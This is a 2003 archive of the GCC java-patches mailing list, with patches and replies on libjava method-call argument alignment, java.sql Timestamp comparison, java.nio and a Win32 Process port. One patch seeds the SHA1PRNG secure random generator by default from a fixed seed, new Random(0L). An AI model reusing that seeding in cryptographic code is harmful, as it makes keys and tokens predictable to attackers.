=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/lang/reflect/natMethod.cc,v=0A= retrieving revision 1.30=0A= diff -u -r1.30 natMethod.cc=0A= --- java/lang/reflect/natMethod.cc 2 Nov 2002 21:33:30 -0000 1.30=0A= +++ java/lang/reflect/natMethod.cc 9 Feb 2003 06:22:46 -0000=0A= @@ -358,46 +358,30 @@=0A= obj =3D JvAllocObject (return_type);=0A= }=0A= =0A= - int i =3D 0;=0A= - int size =3D 0;=0A= - if (needs_this)=0A= - {=0A= - // The `NULL' type is `Object'.=0A= - argtypes[i++] =3D get_ffi_type (NULL);=0A= - size +=3D sizeof (jobject);=0A= - }=0A= -=0A= - for (int arg =3D 0; i < param_count; ++i, ++arg)=0A= - {=0A= - argtypes[i] =3D get_ffi_type (paramelts[arg]);=0A= - if (paramelts[arg]->isPrimitive())=0A= - size +=3D paramelts[arg]->size();=0A= - else=0A= - size +=3D sizeof (jobject);=0A= - }=0A= -=0A= + const int size_per_arg =3D sizeof(jvalue);=0A= ffi_cif cif;=0A= - if (ffi_prep_cif (&cif, FFI_DEFAULT_ABI, param_count,=0A= - rtype, argtypes) !=3D FFI_OK)=0A= - {=0A= - // FIXME: throw some kind of VirtualMachineError here.=0A= - }=0A= =0A= - char *p =3D (char *) __builtin_alloca (size);=0A= - void **values =3D (void **) __builtin_alloca (param_count * sizeof = (void *));=0A= + char *p =3D (char *) __builtin_alloca (param_count * = size_per_arg);=0A= + // Overallocate to get correct alignment.=0A= + void **values =3D (void **)=0A= + __builtin_alloca (param_count * sizeof (void *));=0A= =0A= - i =3D 0;=0A= + int i =3D 0;=0A= if (needs_this)=0A= {=0A= + // The `NULL' type is `Object'.=0A= + argtypes[i] =3D get_ffi_type (NULL);=0A= values[i] =3D p;=0A= memcpy (p, &obj, sizeof (jobject));=0A= - p +=3D sizeof (jobject);=0A= + p +=3D size_per_arg;=0A= ++i;=0A= }=0A= =0A= for (int arg =3D 0; i < param_count; ++i, ++arg)=0A= {=0A= int tsize;=0A= +=0A= + argtypes[i] =3D get_ffi_type (paramelts[arg]);=0A= if (paramelts[arg]->isPrimitive())=0A= tsize =3D paramelts[arg]->size();=0A= else=0A= @@ -406,9 +390,16 @@=0A= // Copy appropriate bits from the jvalue into the ffi array.=0A= // FIXME: we could do this copying all in one loop, above, by=0A= // over-allocating a bit.=0A= + // How do we do this without breaking big-endian platforms?=0A= values[i] =3D p;=0A= memcpy (p, &args[arg], tsize);=0A= - p +=3D tsize;=0A= + p +=3D size_per_arg;=0A= + }=0A= +=0A= + if (ffi_prep_cif (&cif, FFI_DEFAULT_ABI, param_count,=0A= + rtype, argtypes) !=3D FFI_OK)=0A= + {=0A= + // FIXME: throw some kind of VirtualMachineError here.=0A= }=0A= =0A= using namespace java::lang;=0A= ------_=_NextPart_000_01C2D0C4.7DCA42D0-- From java-patches-return-6036-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 10:19:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19444 invoked by alias); 10 Feb 2003 10:19:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19437 invoked from network); 10 Feb 2003 10:19:29 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 10 Feb 2003 10:19:29 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-7.rdu.redhat.com [172.16.50.7]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 0184CABAF8; Mon, 10 Feb 2003 10:19:27 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h1AAJOM03114; Mon, 10 Feb 2003 10:19:24 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15943.31916.193059.941271@cuddles.cambridge.redhat.com> Date: Mon, 10 Feb 2003 10:19:24 +0000 (GMT) To: "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org '" Subject: _Jv_CallAnyMehtodA alignment patch In-Reply-To: <75A9FEBA25015040A761C1F74975667DA13681@hplex4.hpl.hp.com> References: <75A9FEBA25015040A761C1F74975667DA13681@hplex4.hpl.hp.com> Boehm, Hans writes: > > _Jv_CallAnyMethodA allocates an array p to hold arguments to the call. Arguments are stored adjacently, which means they may end up misaligned. This can fail on non-X86 architectures. > > I attached a patch which allocates a jvalue for each argument instead. This also simplifies the code. My guess is it speeds up a little as well, though I didn't check that. OK for trunk? This should probably go into 3.3 as well, though we may want to try it on the trunk first. I'm surprised we haven't seen this one before! Did you happen to have a test case? Thanks, Andrew. From java-patches-return-6037-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 12:49:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4285 invoked by alias); 10 Feb 2003 12:49:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4274 invoked from network); 10 Feb 2003 12:49:46 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.123) by 172.16.49.205 with SMTP; 10 Feb 2003 12:49:46 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 10 Feb 2003 04:49:45 -0800 X-Originating-IP: [148.87.1.170] From: "Ranjit Mathew" To: "Java Patches" Subject: Re: Enable interpreter for x86_64 Date: Mon, 10 Feb 2003 18:21:53 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Message-ID: X-OriginalArrivalTime: 10 Feb 2003 12:49:45.0676 (UTC) FILETIME=[E38020C0:01C2D102] >> + Andrew Haley of Red Hat completed the work began by Bo Thorsen of SuSE >> + to port gcj to the x86_64. This is, as > >Please write this as "AMD x86-64 architecture". x86_64 is the >abbreviation used for configure only. Should you not also mention the operating system that this port runs on? I'm guessing that it's Linux on x86-64. Wouldn't there be a Windows 64-bit version for this architecture "soon" that would make this statement, sort of, ambiguous? Maybe this is too pedantic - maybe not. Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-6038-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 13:02:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12401 invoked by alias); 10 Feb 2003 13:02:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12393 invoked from network); 10 Feb 2003 13:02:44 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 10 Feb 2003 13:02:44 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-7.rdu.redhat.com [172.16.50.7]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 52982ABB06; Mon, 10 Feb 2003 13:02:41 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h1AD2cM22262; Mon, 10 Feb 2003 13:02:38 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15943.41710.139945.943387@cuddles.cambridge.redhat.com> Date: Mon, 10 Feb 2003 13:02:38 +0000 (GMT) To: "Ranjit Mathew" Cc: "Java Patches" Subject: Re: Enable interpreter for x86_64 In-Reply-To: References: Ranjit Mathew writes: > >> + Andrew Haley of Red Hat completed the work began by Bo Thorsen of SuSE > >> + to port gcj to the x86_64. This is, as > > > >Please write this as "AMD x86-64 architecture". x86_64 is the > >abbreviation used for configure only. > > Should you not also mention the operating system that this port > runs on? I'm guessing that it's Linux on x86-64. Wouldn't there > be a Windows 64-bit version for this architecture "soon" that would > make this statement, sort of, ambiguous? It's not ambiguous -- it's incomplete. > Maybe this is too pedantic - maybe not. No. You are not being too pedantic. I should have said Linux. Andrew. From java-patches-return-6039-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 16:46:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30785 invoked by alias); 10 Feb 2003 16:46:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30762 invoked from network); 10 Feb 2003 16:46:40 -0000 Received: from unknown (HELO phobos.hpl.hp.com) (192.6.19.124) by 172.16.49.205 with SMTP; 10 Feb 2003 16:46:40 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by phobos.hpl.hp.com (8.9.3 (PHNE_24419)/HPL-PA Relay) with ESMTP id IAA06108 for ; Mon, 10 Feb 2003 08:41:17 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h1AGfEv01387; Mon, 10 Feb 2003 08:41:16 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Mon, 10 Feb 2003 08:41:13 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id <1DAKMFAJ>; Mon, 10 Feb 2003 08:41:13 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA13682@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'Andrew Haley'" , "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org '" Subject: RE: _Jv_CallAnyMehtodA alignment patch Date: Mon, 10 Feb 2003 08:41:11 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MailScanner: Found to be clean I don't have a compact test case. I started getting misalignment warnings out of the Linux/IA64 kernel when trying to run my calculator with the gtk awt peers, and I traced the problem to this code. The current code looks clearly wrong to me. The problem went away with this patch. (Unfortunately, it takes a few awt patches to get to this stage. I would like to see those, or corrected versions of them, make it into the tree as well.) "Make check" in libjava on IA64 with this patch shows no regressions. It also doesn't fix any of the existing test suite failures. I think this should show up if you try to pass a byte as the first argument and a long as the second argument to a JNI method. It looks like there are no such cases in the test suite. The gtk peers seem to be by far the most demanding JNI test we have? Hans > -----Original Message----- > From: Andrew Haley [mailto:aph@redhat.com] > Sent: Monday, February 10, 2003 2:19 AM > To: Boehm, Hans > Cc: 'java-patches@gcc.gnu.org ' > Subject: _Jv_CallAnyMehtodA alignment patch > > > Boehm, Hans writes: > > > > _Jv_CallAnyMethodA allocates an array p to hold arguments > to the call. Arguments are stored adjacently, which means > they may end up misaligned. This can fail on non-X86 architectures. > > > > I attached a patch which allocates a jvalue for each > argument instead. This also simplifies the code. My guess > is it speeds up a little as well, though I didn't check that. > OK for trunk? This should probably go into 3.3 as well, > though we may want to try it on the trunk first. > > I'm surprised we haven't seen this one before! Did you happen to have > a test case? > > Thanks, > Andrew. > From java-patches-return-6040-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 19:54:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22660 invoked by alias); 10 Feb 2003 19:54:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22635 invoked from network); 10 Feb 2003 19:54:43 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 10 Feb 2003 19:54:43 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA11097; Mon, 10 Feb 2003 12:54:41 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id E8DF14F8072; Mon, 10 Feb 2003 12:44:05 -0700 (MST) To: Java Patch List Subject: Patch: FYI: java.sql update From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: This is a NO-FRILLS flight -- hold th' CANADIAN BACON!! Date: 10 Feb 2003 12:44:05 -0700 Message-ID: <87r8af3oqi.fsf@fleche.redhat.com> Lines: 82 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Inspired by Erik Poupaert, I looked at our java.sql comparison. It turns out we were just a couple methods away from 100% conformance, so I wrote this patch. This is going in 3.3, 3.4, and Classpath. Tom Index: ChangeLog from Tom Tromey * java/sql/Timestamp.java (compareTo(Object)): New method. (compareTo(Timestamp)): Likewise. (serialVersionUID): Updated. Index: java/sql/Timestamp.java =================================================================== RCS file: /cvsroot/classpath/classpath/java/sql/Timestamp.java,v retrieving revision 1.6 diff -u -r1.6 Timestamp.java --- java/sql/Timestamp.java 21 Jun 2002 05:34:12 -0000 1.6 +++ java/sql/Timestamp.java 10 Feb 2003 19:41:09 -0000 @@ -1,5 +1,5 @@ /* Time.java -- Wrapper around java.util.Date - Copyright (C) 1999, 2000 Free Software Foundation, Inc. + Copyright (C) 1999, 2000, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -52,7 +52,7 @@ */ public class Timestamp extends java.util.Date { - static final long serialVersionUID = 3581463369166924961L; + static final long serialVersionUID = 2745179027874758501L; /** * Used for parsing and formatting this date. @@ -237,19 +237,37 @@ } /** + * Compare two Timestamp + * @param when the other Timestamp. + * @return 0, if the date represented + * by obj is exactly the same as the time represented by this + * object, a negative if this Timestamp is before the other Timestamp, and + * a positive value otherwise. * @since 1.2 */ - /* public int compareTo(Timestamp ts) { - - }*/ - + int s = super.compareTo((java.util.Date) ts); + if (s != 0) + return s; + // If Date components were equal, then we check the nanoseconds. + return nanos - ts.nanos; + } + /** + * Compares this Timestamp to another. This behaves like + * compareTo(Timestamp), but it may throw a + * ClassCastException + * @param obj the other Timestamp. + * @return 0, if the Timestamp represented + * by obj is exactly the same as the time represented by this + * object, a negative if this Timestamp is before the other Timestamp, and + * a positive value otherwise. + * @exception ClassCastException if obj is not of type Timestamp. * @since 1.2 - *//* + */ public int compareTo(Object obj) { return compareTo((Timestamp) obj); - }*/ + } } From java-patches-return-6041-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 23:45:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8344 invoked by alias); 10 Feb 2003 23:45:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8320 invoked from network); 10 Feb 2003 23:45:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 10 Feb 2003 23:45:38 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA08922; Mon, 10 Feb 2003 16:45:34 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id ABECF4F8072; Mon, 10 Feb 2003 16:34:59 -0700 (MST) To: raif@fl.net.au Cc: java-patches@gcc.gnu.org Subject: Re: BigInteger patch (long) References: <200212262244.25772.raif@fl.net.au> <87znphvt1z.fsf@fleche.redhat.com> <200302011336.30199.raif@fl.net.au> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Hey, LOOK!! A pair of SIZE 9 CAPRI PANTS!! They probably belong to SAMMY DAVIS, JR.!! Date: 10 Feb 2003 16:34:59 -0700 In-Reply-To: <200302011336.30199.raif@fl.net.au> Message-ID: <871y2fzp3w.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Raif" == Raif S Naffah writes: Raif> here they are: Raif> [ ... ] I've checked in this patch to 3.3, 3.4, and Classpath. Sorry for the delay. Thanks. Tom From java-patches-return-6042-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 23:53:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14063 invoked by alias); 10 Feb 2003 23:53:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14025 invoked from network); 10 Feb 2003 23:53:26 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 10 Feb 2003 23:53:26 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA10926; Mon, 10 Feb 2003 16:53:18 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id DA35A4F8072; Mon, 10 Feb 2003 16:42:39 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Win32 Process Implementation References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is it 1974? What's for SUPPER? Can I spend my COLLEGE FUND in one wild afternoon?? Date: 10 Feb 2003 16:42:39 -0700 In-Reply-To: Message-ID: <87wuk7ya6o.fsf@fleche.redhat.com> Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> Here is a simple implementation of java.lang.Process for Win32. Ranjit> It works for simple test cases and well enough to produce Ranjit> symbolic information in stacktraces via addr2line and c++filt, the Ranjit> need for which in fact prompted this effort in the first place! Nice. I'm checking this in to 3.3 and 3.4. Ranjit> 2. ReadFile( ) on Win32 gives an ERROR_BROKEN_PIPE when the Ranjit> parent process is reading from the child's output/error Ranjit> streams and the child exits, unlike read( ) on Unix which Ranjit> simply indicates an EOF. This causes an IOException in GCJ, Ranjit> which does not happen BTW, in Sun's JDK. I would suggest that Ranjit> we modify natFileDescriptorWin32.cc to return -1 (EOF) in Ranjit> read( ) when it encounters an ERROR_BROKEN_PIPE on a ReadFile( Ranjit> ), to avoid this error. You're the expert. If you say we should do it, let's do it. (It certainly sounds reasonable to me...) Ranjit> Finally, Tom I hope this patch's format is acceptable to you. Yeah, though part of it didn't apply cleanly. I fixed it up by hand. I don't know what went wrong, since the patch certainly looked fine. It was definitely less work than the previous patch though. Tom From java-patches-return-6043-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 23:58:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21234 invoked by alias); 10 Feb 2003 23:58:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21213 invoked from network); 10 Feb 2003 23:58:43 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 10 Feb 2003 23:58:43 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA12324; Mon, 10 Feb 2003 16:58:42 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AD39D4F8072; Mon, 10 Feb 2003 16:48:09 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio.channels.SelectionKey References: <200302071128.16738.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Bagels... Date: 10 Feb 2003 16:48:09 -0700 In-Reply-To: <200302071128.16738.konqueror@gmx.de> Message-ID: <87smuvy9xi.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I have corrected the constants in Michael> java.nio.channels.SelectionKey to match the ones of Michael> SUN. Please review and comment. Looks good. I'm checking this in to 3.3. Can you check it in on the trunk? Tom From java-patches-return-6044-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 00:01:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22805 invoked by alias); 11 Feb 2003 00:01:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22798 invoked from network); 11 Feb 2003 00:01:28 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 00:01:28 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA13033; Mon, 10 Feb 2003 17:01:26 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 9B3854F8072; Mon, 10 Feb 2003 16:50:50 -0700 (MST) To: "Boehm, Hans" Cc: "'Andrew Haley'" , "'java-patches@gcc.gnu.org '" Subject: Re: _Jv_CallAnyMehtodA alignment patch References: <75A9FEBA25015040A761C1F74975667DA13682@hplex4.hpl.hp.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Who wants some OYSTERS with SEN-SEN an' COOL WHIP? Date: 10 Feb 2003 16:50:49 -0700 In-Reply-To: <75A9FEBA25015040A761C1F74975667DA13682@hplex4.hpl.hp.com> Message-ID: <87of5jy9t2.fsf@fleche.redhat.com> Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Hans" == Boehm, Hans writes: Hans> (Unfortunately, it takes a few awt patches to get to this stage. Hans> I would like to see those, or corrected versions of them, make Hans> it into the tree as well.) No problem. I'm glad you've looked at this. Hans> I think this should show up if you try to pass a byte as the Hans> first argument and a long as the second argument to a JNI Hans> method. It looks like there are no such cases in the test Hans> suite. The gtk peers seem to be by far the most demanding JNI Hans> test we have? That's definitely true. The tests in testsuite/libjava.jni/ are pretty minimal. Could you write a new one? If not, and if I write a new one, could you test it? Tom From java-patches-return-6045-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 00:07:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25500 invoked by alias); 11 Feb 2003 00:07:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25493 invoked from network); 11 Feb 2003 00:07:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 00:07:39 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA14897; Mon, 10 Feb 2003 17:07:37 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 32AB94F8072; Mon, 10 Feb 2003 16:57:05 -0700 (MST) To: Java Patch List Subject: Patch: FYI: bug fix from classpath From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: What PROGRAM are they watching? Date: 10 Feb 2003 16:57:04 -0700 Message-ID: <87fzqvy9in.fsf@fleche.redhat.com> Lines: 87 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3 and 3.4. This is a fix from Classpath. It fixes a Mauve failure. Tom Index: ChangeLog from Raif S. Naffah * gnu/java/security/provider/SHA1PRNG.java (ensureIsSeeded): new method used to ensure seeding has occurred and that a specific seed can be set and used. Index: gnu/java/security/provider/SHA1PRNG.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/security/provider/SHA1PRNG.java,v retrieving revision 1.4 diff -u -r1.4 SHA1PRNG.java --- gnu/java/security/provider/SHA1PRNG.java 22 Jan 2002 22:40:02 -0000 1.4 +++ gnu/java/security/provider/SHA1PRNG.java 11 Feb 2003 00:06:17 -0000 @@ -1,5 +1,5 @@ /* SHA1PRNG.java --- Secure Random SPI SHA1PRNG - Copyright (C) 1999, 2001 Free Software Foundation, Inc. + Copyright (C) 1999, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -51,27 +51,22 @@ byte data[]; int seedpos; int datapos; + private boolean seeded = false; // set to true when we seed this public SHA1PRNG() { try { digest = MessageDigest.getInstance("SHA"); } catch ( NoSuchAlgorithmException nsae) { - System.out.println("Failed to find SHA Message Digest: " + nsae); - nsae.printStackTrace(); +// System.out.println("Failed to find SHA Message Digest: " + nsae); +// nsae.printStackTrace(); + throw new InternalError ("no SHA implementation found"); } seed = new byte[20]; seedpos = 0; data = new byte[40]; - datapos = 0; - - new Random().nextBytes(seed); - - byte digestdata[]; - digestdata = digest.digest( data ); - System.arraycopy( digestdata, 0, data, 0, 20); - + datapos = 20; // try to force hashing a first block } public void engineSetSeed(byte[] seed) @@ -84,6 +79,7 @@ public void engineNextBytes(byte[] bytes) { + ensureIsSeeded (); int loc = 0; while (loc < bytes.length) { @@ -113,4 +109,18 @@ engineNextBytes( tmp ); return tmp; } + + private void ensureIsSeeded() + { + if (!seeded) + { + new Random(0L).nextBytes(seed); + + byte[] digestdata = digest.digest(data); + System.arraycopy(digestdata, 0, data, 0, 20); + + seeded = true; + } + } + } From java-patches-return-6046-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 03:52:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1688 invoked by alias); 11 Feb 2003 03:52:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1508 invoked from network); 11 Feb 2003 03:52:34 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 03:52:34 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA30502; Mon, 10 Feb 2003 20:52:27 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B30A44F8072; Mon, 10 Feb 2003 20:41:56 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio - Exception throwing References: <200302071129.37720.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: This MUST be a good party -- My RIB CAGE is being painfully pressed up against someone's MARTINI!! Date: 10 Feb 2003 20:41:56 -0700 In-Reply-To: <200302071129.37720.konqueror@gmx.de> Message-ID: <87y94nv5yz.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> This patch fixes some method deklarations in java.nio to trhow the Michael> correct exceptions. Please review and comment. Looks good. I'm checking this in to 3.3. Please check it in on the trunk. Tom From java-patches-return-6047-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 04:02:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8819 invoked by alias); 11 Feb 2003 04:02:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8774 invoked from network); 11 Feb 2003 04:02:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 04:02:02 -0000 Received: from fleche.redhat.com (tq0103.peakpeak.com [207.174.177.103]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA32163; Mon, 10 Feb 2003 21:02:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 6DD434F8072; Mon, 10 Feb 2003 20:51:27 -0700 